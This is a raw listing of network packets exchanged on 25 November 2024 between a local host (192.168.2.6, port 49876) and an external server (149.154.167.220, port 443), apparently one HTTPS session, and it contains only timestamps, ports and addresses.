Nov 25, 2024 13:40:29.223655939 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223664999 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223673105 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223721027 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223731041 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223748922 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223757982 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223773956 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223792076 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223800898 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223861933 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223871946 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223891020 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223897934 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223921061 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223928928 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223942041 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223952055 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.223968029 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.223973989 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.224006891 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224006891 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224020958 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.224035025 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224056959 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.224088907 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224100113 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224164963 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224189997 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224263906 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224286079 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224306107 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224349022 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224374056 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224395037 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.224431992 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.271341085 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.271883011 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272155046 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272224903 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272296906 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272620916 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272676945 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272701025 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272739887 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272752047 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272778988 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.272788048 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.319334984 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.321206093 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321258068 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321279049 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321295023 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321326971 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321372032 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321398973 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321418047 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.321451902 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.367336035 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.367805004 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.367845058 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.367904902 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.367924929 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.367937088 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.367979050 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.368010044 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.368017912 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.368029118 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.368041039 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.368083000 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.368089914 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.415330887 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.417244911 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417264938 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417324066 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417351961 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417402983 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417459011 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417509079 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417531967 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.417548895 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.463335037 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.465209961 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465229988 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.465296030 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465307951 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465333939 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465388060 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465395927 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465434074 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465452909 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465512991 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465533018 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465553999 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465637922 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.465686083 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.511370897 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.512815952 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.512880087 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.513004065 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.513320923 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.513504982 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.513600111 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.559338093 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.586251020 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.586411953 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.586441994 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.586585045 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.586646080 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.586662054 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.586791039 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.586922884 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.587032080 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.631340981 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.691097975 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.691258907 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.691344976 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.691515923 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.691545963 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.707216024 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.707289934 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.707427979 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.707484961 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.707503080 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.707566023 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.707612038 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.709394932 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.709410906 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.709532022 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.709593058 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.709702015 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.709732056 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.710062981 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.745913029 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.746002913 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.746031046 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.746124029 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.746196985 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.746237993 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.746305943 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.749788046 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.749830961 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.791336060 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.825973988 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.826095104 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.826122046 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.826189041 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.826272964 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.826319933 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.827502966 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.828510046 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.932267904 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.940711021 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.940733910 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.944391012 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944463968 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944482088 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944601059 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944653988 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944669962 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944683075 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944694042 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.944745064 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.946769953 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.948533058 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.948555946 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.948616982 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.948632002 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.948658943 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.948698044 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.948702097 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.948836088 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.950131893 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954688072 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954703093 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954746962 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954762936 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954780102 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954787016 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954798937 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954806089 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954814911 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954828978 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954868078 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954890013 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954898119 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954905033 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954916000 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954969883 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.954982042 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.954994917 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955004930 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955038071 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955069065 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955091953 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.955105066 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955118895 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.955138922 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955177069 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955188990 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955199003 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955207109 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955243111 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.955274105 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955286026 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:29.955307961 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:29.955410004 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009144068 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009176016 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009187937 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009203911 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009248018 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009282112 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009310007 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009505033 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009517908 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009562016 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009582996 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009629965 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009711981 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009782076 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009793043 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009809971 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009819031 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009836912 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009852886 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009929895 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009944916 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009957075 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.009985924 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.009993076 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.010019064 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010030031 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010049105 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010056019 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010078907 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.010369062 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010377884 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.010390043 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010430098 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010452032 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010484934 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010531902 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010556936 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010566950 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010592937 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010632038 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010695934 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.010740042 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.051332951 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.079212904 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.079252958 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.098408937 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.098428011 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.099461079 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.099473953 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.139210939 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.139224052 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.139368057 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.139375925 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.139403105 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.139422894 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.140918970 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.140918970 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.140935898 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.140952110 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.140964985 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.140979052 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141000986 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141012907 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141021967 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141036987 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141056061 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141064882 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141083956 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141175985 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141189098 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141197920 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141210079 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141230106 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141308069 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141319990 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141325951 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141349077 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141367912 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141402006 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141413927 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141463995 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141500950 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141526937 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141576052 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141594887 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141649008 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141668081 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141753912 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141793013 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141808987 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141813993 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141827106 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141844988 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141908884 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.141940117 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.141994953 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142004967 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142020941 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142035007 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142050028 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142086029 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142106056 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142184973 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142203093 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142237902 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142249107 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142293930 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142327070 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142349005 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142401934 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142436028 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142447948 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142456055 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142477036 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142545938 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142575979 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142643929 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142725945 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142744064 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.142754078 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142858982 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142888069 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142913103 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142962933 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.142982960 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.143002033 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.143028021 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.143043041 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.143125057 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.143131971 CET	443	49876	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:30.143146038 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.143161058 CET	49876	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:30.143161058 CET	49876	443	192.168.2.6	149.154.167.220
